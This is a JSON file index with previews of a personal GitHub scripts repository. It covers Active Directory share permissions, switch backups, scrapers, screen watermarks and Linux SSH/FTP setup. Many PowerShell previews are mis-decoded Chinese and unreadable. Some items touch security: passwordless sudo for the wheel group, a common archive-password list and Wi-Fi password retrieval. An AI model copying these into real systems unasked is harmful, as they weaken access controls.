"chars": 5,
"preview": "域控专属\n"
},
{
"path": "d-pwsh-dc/个别组员加权限.ps1",
"chars": 324,
"preview": "<# Ȩ #>\r\n\r\n# дȨ\r\nGrant-SmbShareAccess -Name \"С\" -AccountName \"csylq\\ʫ\" -AccessRight Change -Force\r\n\r\n## ֻȨ\r\nGrant-SmbSha"
},
{
"path": "d-pwsh-dc/修改共享文件夹名称不影响共享和安全权限.ps1",
"chars": 4162,
"preview": "# 1. ñ\r\n$oldFolderPath = \"C:\\ļ\\¹ļ\" # ԭļ·\r\n$newFolderPath = \"C:\\ļ\\\" # µĹļ·\r\n$shareName = \"\" # \r\n\r\n"
},
{
"path": "d-pwsh-dc/删除所有共享文件夹中的未知用户权限模板.ps1",
"chars": 587,
"preview": "# ȡй\r\n$shares = Get-SmbShare\r\n\r\n# ÿ\r\nforeach ($share in $shares) {\r\n $shareName = $share.Name\r\n Write-Output \"ڴļ: "
},
{
"path": "d-pwsh-dc/删除未知用户共享文件夹权限模板.ps1",
"chars": 457,
"preview": "# 干\r\n$shareName = \"\" # 滻Ϊʵʹ\r\n\r\n# ȡķȨ\r\n$accessRules = Get-SmbShareAccess -Name $shareName\r\n\r\n# ɸѡδ֪ûƥ AccountName SID Ŀ"
},
{
"path": "d-pwsh-dc/删除未知用户文件夹安全权限模板.ps1",
"chars": 314,
"preview": "# 干ļ·\r\n$folderPath = \"C:\\ļ\\ۺ\"\r\n\r\n# ȡļļеȨ\r\n$acl = Get-Acl -Path $folderPath\r\n\r\n# Ҳɾδ֪ûʹ SID ʾȨޣ\r\n$acl.Access | Where-Obje"
},
{
"path": "d-pwsh-dc/删除根目录中所有文件夹中包含未知用户的安全权限模板.ps1",
"chars": 569,
"preview": "# ļ·\r\n$folderPath = \"C:\\ļ\" # 滻Ϊʵ·\r\n\r\n# ݹָļмļ\r\nGet-ChildItem -Path $folderPath -Recurse | ForEach-Object {\r\n # ȡǰļļе "
},
{
"path": "d-pwsh-dc/域用户导出.ps1",
"chars": 891,
"preview": "# ļ·\r\n$outputFile = \"C:\\Users\\Administrator\\Desktop\\û嵥.txt\"\r\n\r\n# ջļ\r\nOut-File -FilePath $outputFile # -Encoding UTF8 -F"
},
{
"path": "d-pwsh-dc/多个共享文件夹授权读写权限.ps1",
"chars": 1194,
"preview": "# 干ƺļ·\r\n$shares = @(\r\n # һ $sharesѭУΪÿûÿȨޡ\r\n # ûͬʱöԡҵ1͡ҵ2ļеĶӦȨޡ\r\n @{ Name = \"ҵ1\"; Path = \"C:\\ļ\\ҵ1\" },\r\n @{ N"
},
{
"path": "d-pwsh-dc/恢复域用户模板.ps1",
"chars": 371,
"preview": "# ûɾǰ Deleted ǿֵͬʱҲɲһЩͬıɾ\r\nGet-ADObject -Filter {samaccountname -eq \" \"} -IncludeDeletedObjects\r\n\r\n# ͨGUIDָ\r\nRestore-ADO"
},
{
"path": "d-pwsh-dc/恢复组织单元模板.ps1",
"chars": 225,
"preview": "# ѯɾ֯Ԫ\r\nGet-ADObject -Filter { ObjectClass -eq \"organizationalUnit\" } -IncludeDeletedObjects -SearchBase (Get-ADDomain)."
},
{
"path": "d-pwsh-dc/批量创建用户.ps1",
"chars": 1219,
"preview": "# Active Directoryģ\r\nImport-Module ActiveDirectory\r\n\r\n# һ\r\n# New-ADUser -Name \"\" -SamAccountName \"\" -UserPrincipalName \""
},
{
"path": "d-pwsh-dc/批量删除用户.ps1",
"chars": 439,
"preview": "# Active Directoryģ\r\nImport-Module ActiveDirectory\r\n\r\n# ȡtxtļеûб\r\n$filePath = \"C:\\Users\\Administrator\\Desktop\\ɾû.txt\" #"
},
{
"path": "d-pwsh-dc/批量授权质检目录访问权限.ps1",
"chars": 1113,
"preview": "# 干ƺļ·\r\n$shareName = \"ʼ\" # \r\n$folderPath = \"C:\\ļ\\ʼ\" # ļеʵ·\r\n$domainUsersFile = \"C:\\Users\\Administrator\\Desktop\\ʼ.txt\" "
},
{
"path": "d-pwsh-dc/批量特定授权.ps1",
"chars": 2903,
"preview": "Write-Host \"ȨԱ鳤ļȨ\"\r\n\r\n# ļ·\r\n$membersFile = \"C:\\Users\\administrator\\Desktop\\Ȩ.txt\" # Աֵļÿһ\r\n$foldersFile = \"C:\\Users\\ad"
},
{
"path": "d-pwsh-dc/指定文件夹所有成员读写.ps1",
"chars": 2240,
"preview": "# ļ·ֱڴģ\r\n$SharePath = \"C:\\ļ\"\r\n\r\n# ȷѰװ SMB ģ\r\nImport-Module SmbShare -ErrorAction SilentlyContinue\r\n\r\n# ȡ\r\n$ShareName = "
},
{
"path": "d-pwsh-dc/指定文件夹所有成员读取.ps1",
"chars": 2163,
"preview": "# ļ·Ϊʵʹļ·\r\n$SharePath = \"C:\\ļ\"\r\n\r\n# ȷѰװ SMB ģ\r\nImport-Module SmbShare -ErrorAction SilentlyContinue\r\n\r\n# ȡ\r\n$ShareName "
},
{
"path": "d-pwsh-dc/文件夹权限模板.ps1",
"chars": 759,
"preview": "\r\n<#ȫȨ#>\r\n\r\n# ȫȨΪֻ\r\nicacls \"C:\\ļ\\л\" /grant \"csylq\\ʫ:(OI)(CI)(R)\" /t # /t ʾݹ\r\n\r\n# ȫȨΪ༭\r\nicacls \"C:\\ļ\\С\" /grant \"csylq\\ʫ:("
},
{
"path": "d-pwsh-dc/查看用户在哪些共享文件夹有相关权限.ps1",
"chars": 1006,
"preview": "# \r\n$domain = \"CSXZX\"\r\n$userName = Read-Host \"Ŀûû\" # û\r\n$userName = \"$domain\\$userName\" # û\r\n\r\n# ȡûĹȨ\r\nWrite-Host \" $u"
},
{
"path": "d-pwsh-dc/根据成员名单及文件夹名单指定读写.ps1",
"chars": 1352,
"preview": "Write-Host \"ļȨűʼ...\" -ForegroundColor Cyan\r\n\r\n# ǰ\r\n$domain = \"CSXZX\"\r\n\r\n# ûб·\r\n$domainUsersFile = \"C:\\Users\\Administra"
},
{
"path": "d-pwsh-dc/根据文本内容批量添加相关权限.ps1",
"chars": 2631,
"preview": "# Ŀ¼·\r\n$baseFolderPath = \"C:\\ļ\" # ·\r\n$userFile = \"C:\\Users\\Administrator\\Desktop\\Ȩб.txt\" # 滻Ϊʵʵ TXT ļ·\r\n\r\n# ȡûļÿһ\r\nGe"
},
{
"path": "d-pwsh-dc/灵活加权限.ps1",
"chars": 2025,
"preview": "# ȡû\r\n$userInput = Read-Host \"û֧ԿոĶšӢĶšٺŷָûӣ\"\r\n\r\n# \r\n$domain = \"CSXZX\"\r\n\r\n# ȡƵĹؼ֣֧ģƥ䣩\r\n$shareNameKeyword = Read-Host \"ļƣ"
},
{
"path": "d-pwsh-dc/生产作业1 读取、生产作业2 读写的批量操作.ps1",
"chars": 1369,
"preview": "# \r\n$domain = \"CSXZX\"\r\n\r\n# 干ƺļ·\r\n$shareName1 = \"ҵ1\" # \r\n$folderPath1 = \"C:\\ļ\\ҵ1\" # ļеʵ·\r\n\r\n$shareName2 = \"ҵ2\" # \r\n$fo"
},
{
"path": "d-pwsh-dc/生成华三导入.ps1",
"chars": 520,
"preview": "# ļ·\r\n$inputFile = \"C:\\Users\\Administrator\\Desktop\\û.txt\"\r\n$outputFile = \"C:\\Users\\Administrator\\Desktop\\inode_exportAcc"
},
{
"path": "d-pwsh-dc/移除权限模板.ps1",
"chars": 562,
"preview": "# \r\n$domain = \"CSXZX\" \r\n\r\n# ʾûûļ\r\n$userName = Read-Host \"Ŀûû\" # û\r\n$shareName = Read-Host \"빲ļ\" # 빲ļ\r\n\r\n# û\r\n$userNam"
},
{
"path": "d-pwsh-dc/移除用户所有涉及到的共享文件夹权限.ps1",
"chars": 1592,
"preview": "# \r\n$domain = \"CSXZX\" \r\n$userName = Read-Host \"Ŀûû\" # û\r\n$excludeShares = Read-Host \"ųĹļУöŻٺŷָĬƳйļУ\"\r\n\r\n# ĬųĹļ\r\n$defaul"
},
{
"path": "d-pwsh-dc/组织单元成员迁移.ps1",
"chars": 576,
"preview": "# Ŀ OU ·\r\n# $targetOU = \"OU=wps·,OU=·,DC=CSXZX,DC=com\"\r\n$targetOU = \"OU=ʼ,OU=Ŷ,DC=CSXZX,DC=com\"\r\n\r\n# ȡûļ\r\n$userListPath "
},
{
"path": "d-python/PDFtoPNG.py",
"chars": 1238,
"preview": "import os\nimport fitz\nimport PySimpleGUI as sg\n\ndef pdf_to_png(pdf_path, image_path):\n # 从 PDF 路径中提取文件名作为文件夹名称\n pd"
},
{
"path": "d-python/autologin.py",
"chars": 988,
"preview": "from DrissionPage import ChromiumPage\nfrom selenium import webdriver\nfrom DrissionPage import Drission, MixPage\nfrom web"
},
{
"path": "d-python/get_bing_wallpapers.py",
"chars": 1727,
"preview": "import os\nimport re\nimport requests\n\n\ndef download_image(image_url: str, save_dir: str):\n \"\"\"\n 下载图片并保存到指定目录\n :p"
},
{
"path": "d-python/get_bv_baseinfo.py",
"chars": 25140,
"preview": "import json\nimport time\nimport requests\nimport os\nfrom datetime import datetime\nimport re\nfrom bs4 import BeautifulSoup\n"
},
{
"path": "d-python/get_chinanews.py",
"chars": 1695,
"preview": "import requests\r\nfrom bs4 import BeautifulSoup\r\nfrom openpyxl import Workbook\r\nfrom datetime import datetime\r\n\r\n# -----参"
},
{
"path": "d-python/get_resou_today.py",
"chars": 8478,
"preview": "import os\nfrom datetime import datetime\nimport requests\nfrom bs4 import BeautifulSoup\nfrom openpyxl import Workbook\nfrom"
},
{
"path": "d-python/get_resou_today_s.py",
"chars": 10383,
"preview": "import os\nfrom datetime import datetime\nimport openpyxl\nimport requests\nfrom bs4 import BeautifulSoup\nfrom openpyxl impo"
},
{
"path": "d-python/get_rumor_analysis.py",
"chars": 7500,
"preview": "import os\nimport time\nimport json\nimport jieba\nimport jieba.analyse\nimport thulac\nimport base64\nimport requests\nfrom dat"
},
{
"path": "d-python/get_worldometers.py",
"chars": 2202,
"preview": "from selenium import webdriver\r\nfrom bs4 import BeautifulSoup\r\nimport csv\r\nfrom datetime import datetime\r\nimport pandas "
},
{
"path": "d-python/mac_ntfs_ninja.py",
"chars": 2891,
"preview": "# 引入模块\nimport os\nfrom time import sleep\nimport getpass\n# 双引号转义:https://blog.csdn.net/try_and_do/article/details/80649663"
},
{
"path": "d-python/output_json_for_regex.py",
"chars": 212,
"preview": "import re\nimport json\n\npattern = re.compile(r'\\d+')\nregex_str = pattern.pattern # 将正则表达式编译为字符串\n\ndata = {'regex': regex_"
},
{
"path": "d-python/zhihu_answers_demo.py",
"chars": 3886,
"preview": "import requests\nfrom openpyxl import Workbook\nimport os\nimport re\nfrom datetime import datetime\n\nclass Tools:\n # 初始化解"
},
{
"path": "d-python/zhipin_demo.py",
"chars": 8094,
"preview": "import os\nimport re\nimport platform\nimport requests\nimport json\nimport urllib.request\nfrom openpyxl import Workbook\nfrom"
},
{
"path": "d-python-datacom/readme.txt",
"chars": 5,
"preview": "数通专用\n"
},
{
"path": "d-python-datacom/交换机FTP服务器下载备份文件到本地.py",
"chars": 1723,
"preview": "import ftplib\r\nimport os\r\nimport csv\r\n\r\n# === 全局配置 ===\r\nCSV_FILE = \"C:/Users/administrator/Desktop/交换机清单.csv\" "
},
{
"path": "d-python-datacom/交换机缓冲区日志备份.py",
"chars": 3236,
"preview": "import paramiko\r\nimport time\r\nimport os\r\nfrom datetime import datetime\r\nimport re\r\nfrom colorama import Fore, Back, Styl"
},
{
"path": "d-python-datacom/单个交换机配置备份模板.py",
"chars": 2370,
"preview": "import paramiko\r\nimport time\r\nimport os\r\nfrom datetime import datetime\r\nimport re\r\n\r\n# 配置交换机的信息\r\nhostname = \"192.168.1.2"
},
{
"path": "d-python-datacom/批量上传交换机配置到本地FTP.py",
"chars": 2873,
"preview": "import paramiko\r\nimport time\r\nimport os\r\nimport csv\r\n\r\n# 获取当前用户桌面路径\r\ndesktop_path = os.path.join(os.path.expanduser(\"~\")"
},
{
"path": "d-python-datacom/批量交换机配置备份.py",
"chars": 3526,
"preview": "import paramiko\r\nimport time\r\nimport os\r\nimport csv\r\nfrom datetime import datetime\r\nimport re\r\n\r\n# 获取当前用户桌面路径\r\ndesktop_p"
},
{
"path": "d-python-datacom/网络切换及状态标注.py",
"chars": 6866,
"preview": "import subprocess \r\nimport os\r\nimport time\r\nfrom PIL import Image, ImageDraw\r\nimport pystray\r\nfrom pystray import MenuIt"
},
{
"path": "d-python-dc/watermark/backup/screen_watermark_qt5.py",
"chars": 4176,
"preview": "# screen_watermark_qt5.py\r\nimport sys\r\nimport socket\r\nimport getpass\r\nimport os\r\nfrom PyQt5.QtWidgets import QApplicatio"
},
{
"path": "d-python-dc/watermark/backup/screen_watermark_qt5_oblique_old.py",
"chars": 3792,
"preview": "import sys\r\nimport os\r\nfrom PyQt5.QtWidgets import QApplication, QWidget\r\nfrom PyQt5.QtCore import Qt\r\nfrom PyQt5.QtGui "
},
{
"path": "d-python-dc/watermark/backup/screen_watermark_qt5_old.py",
"chars": 3011,
"preview": "# screen_watermark_qt5_old.py\r\nimport sys\r\nimport socket\r\nimport getpass\r\nimport os\r\nfrom PyQt5.QtWidgets import QApplic"
},
{
"path": "d-python-dc/watermark/backup/screen_watermark_tkinter.py",
"chars": 3577,
"preview": "# screen_watermark_tkinter.py\r\nimport tkinter, win32api, win32con, pywintypes, os\r\nimport socket\r\nimport getpass\r\nimport"
},
{
"path": "d-python-dc/watermark/backup/screen_watermark_tkinter_old.py",
"chars": 4054,
"preview": "# screen_watermark_tkinter_old.py\r\nimport tkinter, win32api, win32con, pywintypes, os\r\nimport socket\r\nimport getpass\r\nim"
},
{
"path": "d-python-dc/watermark/hostname_user_ip_date.py",
"chars": 1417,
"preview": "# hostname_user_ip.py\r\nimport sys\r\nimport getpass\r\nimport os\r\nimport socket\r\nimport psutil\r\nfrom datetime import datetim"
},
{
"path": "d-python-dc/watermark/main.py",
"chars": 1616,
"preview": "import os\r\nimport sys\r\nimport screen_watermark_tkinter\r\nimport screen_watermark_qt5\r\nimport screen_watermark_qt5_oblique"
},
{
"path": "d-python-dc/watermark/readme.md",
"chars": 1123,
"preview": "# 屏幕添加水印\n\n由于 tkinter 实现桌面水印字体有较明显的锯齿感,因此采用 Qt5 重写了一遍,也保留了之前旧的实现方式。\n\n1. 程序通过创建了多个全屏透明窗口,大小和屏幕一致。去掉了窗口的边框和标题栏,使窗口看起来没有边框。\n"
},
{
"path": "d-python-dc/watermark/requirements.txt",
"chars": 850,
"preview": "altgraph==0.17.4\r\nbcrypt==4.2.1\r\ncertifi==2024.8.30\r\ncffi==1.17.1\r\ncharset-normalizer==3.4.0\r\ncolorama==0.4.6\r\ncontourpy"
},
{
"path": "d-python-dc/watermark/screen_watermark_qt5.py",
"chars": 4328,
"preview": "import sys\r\nimport socket\r\nimport getpass\r\nimport os\r\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLabel, QVBoxLa"
},
{
"path": "d-python-dc/watermark/screen_watermark_qt5_oblique.py",
"chars": 4062,
"preview": "import sys\r\nimport os\r\nfrom PyQt5.QtWidgets import QApplication, QWidget\r\nfrom PyQt5.QtCore import Qt\r\nfrom PyQt5.QtGui "
},
{
"path": "d-python-dc/watermark/screen_watermark_tkinter.py",
"chars": 3735,
"preview": "# screen_watermark_tkinter.py\r\nimport tkinter, win32api, win32con, pywintypes, os\r\nimport socket\r\nimport getpass\r\nimport"
},
{
"path": "d-ruby/get_chinanews.rb",
"chars": 1297,
"preview": "require 'httparty'\nrequire 'nokogiri'\nrequire 'spreadsheet'\nrequire 'date'\n\n# 获取当前时间\nnow = DateTime.now\n# 将时间格式化为指定的字符串格"
},
{
"path": "d-ruby/get_msdesign_wallpapers.rb",
"chars": 2029,
"preview": "require 'open-uri'\nrequire 'nokogiri'\nrequire 'fileutils'\nrequire 'zip'\n\n# 检查系统是否安装了 aria2c\nif Gem.win_platform?\n unles"
},
{
"path": "d-ruby/nbview.rb",
"chars": 644,
"preview": "require 'clipboard'\n\nmodule NbviewerGenerator\n def self.generate_link\n base_url = \"https://nbviewer.org/github\"\n "
},
{
"path": "d-ruby/ntfs_ripper.rb",
"chars": 1205,
"preview": "def config_u_drive\n system('sudo spctl --master-disable')\n\n unless system('command -v swift >/dev/null')\n system('x"
},
{
"path": "d-shell/7z_rar_sensei.sh",
"chars": 2040,
"preview": "# 实验\n## brew install p7zip > /dev/null 2>&1 运行效率较低,大概有2~3秒不等,if算了\n## 在Mac上,7z并不支持验证rar压缩包密码;Mac下面的rar,也不支持zip的密码验证。\n## 网"
},
{
"path": "d-shell/diy_add_wheel.sh",
"chars": 2013,
"preview": "echo -e \"root用户设置好后,用该脚本,可如PC一样,创建一个带管理员权限的自定义用户 \\n\"\necho -e \"(⭐︎ 一个具有管理员权限的个性化账户,看起来如Windows PC般丝滑 ⭐︎)\\n\"\n\n#***********"
},
{
"path": "d-shell/lite_ssh_n_ban.sh",
"chars": 3460,
"preview": "echo -e \"置顶:执行脚本需要使用 sudo bash 指令\"\n\n# 备份ssh服务端、客户端配置文件到ssh.bak目录\nmkdir -p /etc/bak/ssh && cp -p /etc/ssh/{ssh_config,ssh"
},
{
"path": "d-shell/lite_vsftpd.sh",
"chars": 8359,
"preview": "# ********** 核心的五篇文档,csdn博主整理思绪排版较为清晰易读。************\n## [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/99794"
},
{
"path": "d-shell/low_scan_for_winrar.sh",
"chars": 1174,
"preview": "\n\nymd_start=\"20230220\"\nymd_end=\"20230223\"\n# 最新版是6.21,根据命名规则621\nrar_v_num=621\n\nwhile [ \"$ymd_start\" != \"$ymd_end\" ]\ndo\n\nl"
},
{
"path": "d-shell/mac_corn_diy_wallpaper.sh",
"chars": 1580,
"preview": "# ------- crontab说明 ----------\n# crontab - 告诉 crontab 命令从标准输入读取数据,而不是从文件读取数据。\n# \\ 将命令拆分成多行。注意到反斜杠后面不能有空格或其他字符。\n# crontab"
},
{
"path": "d-shell/mac_show_wifi.sh",
"chars": 1291,
"preview": "# 保持代码样式写文件\ncat <<'EOF' >~/Public/mac_show_wifi.sh\n\n# 详情:\n# https://ss64.com/osx/security.html\n# https://developer.apple"
},
{
"path": "d-shell/mac_systeminfo.sh",
"chars": 2688,
"preview": "# 保持代码样式写文件\ncat <<'EOF' >~/Public/systeminfo.sh\n\n# Mac颜色调试代码\nBLACK=$(tput setaf 0)\nRED=$(tput setaf 1)\nGREEN=$(tput seta"
},
{
"path": "d-shell/no_oh_my_zsh.sh",
"chars": 1190,
"preview": "echo -e \"懒得搞什么美化,字体15大小左右,就差不多了,颜色设置成pro,“brew install fish”就行了。\\n\"\n\necho -e \"一分钟考虑时间,倒计时:\\c\"\n\n# 来自 [csdn-shell脚本倒计时](ht"
},
{
"path": "d-shell/ntfs_ninja.sh",
"chars": 2209,
"preview": "\n if [ ! -x $(command -v swift) ]; then\n xcode-select --install\n fi\n\n if [ ! -x $(command -v brew) ]; th"
},
{
"path": "d-shell/simple_ban.sh",
"chars": 2106,
"preview": "yum install epel-release -y && yum update -y\nyum install fail2ban-firewalld fail2ban-systemd -y \nyum -y install git pyth"
},
{
"path": "d-shell/simple_ssh.sh",
"chars": 5995,
"preview": "echo -e \"置顶:执行脚本需要使用 sudo bash 指令,配置SSH服务端登录、口令验证、长会话响应心跳连接、IP范围限自家用。\\n\"\n\n\necho -e \"----------配置服务端:Linux SSH,启动--------"
},
{
"path": "d-shell/simple_vsftpd.sh",
"chars": 8836,
"preview": "# ********** 核心的五篇文档,csdn博主整理思绪排版较为清晰易读。************\n## [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/99794"
},
{
"path": "d-shell/simple_wheel.sh",
"chars": 1247,
"preview": "\n# **************开启wheel组功能**************\n\n# 授权读写\nchmod u+w /etc/sudoers\n\n# 开启wheel的免密sudo,并追加wheelman\nsed -i 's/# %whee"
},
{
"path": "d-shell/static_route.sh",
"chars": 855,
"preview": "# 添加一劳永逸的静态路由\n# rc.local:重启服务器生效;重启网络服务,则静态路由失效。\n# static-routes:重启服务器生效;重启网络服务生效。\n# route-eth0、static-routes 名称新旧的区别(re"
},
{
"path": "d-shell/study_nmcil.sh",
"chars": 1838,
"preview": "# ******************新知*****************************\n#\n# /etc/udev/rules.d/70-persistent-net.rules Linux的网驱命名,NAME键值不一定为e"
},
{
"path": "d-shell/study_nmcil2.sh",
"chars": 5312,
"preview": "# ``` 网络配置 板块一\n#\n# 如果同时设置了动态获取IP和静态IP,那么静态IP将不再有效。系统会优先使用动态获取IP的配置。\n# bootp 是一种比较老的协议,几乎已经过时了,dhcp 是 bootp 的一种扩展,与 bootp"
},
{
"path": "d-shell/used_proxychains.sh",
"chars": 602,
"preview": "yum install -y epel-release\n\nyum install -y git*\n\ngit clone https://gh.api.99988866.xyz/https://github.com/rofl0r/proxyc"
},
{
"path": "d-shell/webtools.sh",
"chars": 1393,
"preview": "#!/bin/bash\n\nwhile :\ndo\n echo \"开启选项:\"\n echo \"1. kimi助手 & 秘塔搜索\"\n echo \"2. 视频下载/转换/封面/去水印\"\n echo \"3. Video/IMG"
},
{
"path": "d-txt/cn_stopwords.txt",
"chars": 9127,
"preview": "———\n》),\n)÷(1-\n”,\n)、\n=(\n:\n→\n℃\n&\n*\n一一\n~~~~\n’\n.\n『\n.一\n./\n--\n』\n=″\n【\n[*]\n}>\n[⑤]]\n[①D]\nc]\nng昉\n*\n//\n[\n]\n[②e]\n[②g]\n={\n}\n,也\n‘\nA\n[①"
},
{
"path": "d-txt/rarpasswd.txt",
"chars": 871,
"preview": "52pojie\r\n52PoJie\r\nwww.jb51.net\r\nwww.greenxf.com\r\nsd173\r\nwww.sd173.com\r\nwww.onlinedown.net\r\nwww.itmop.com\r\nitmop.com\r\nzd4"
}
]
// ... and 12 more files (download for full content)
About this extraction
This page contains the full source code of the hoochanlon/scripts GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 212 files (1.4 MB), approximately 493.4k tokens, and a symbol index with 130 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.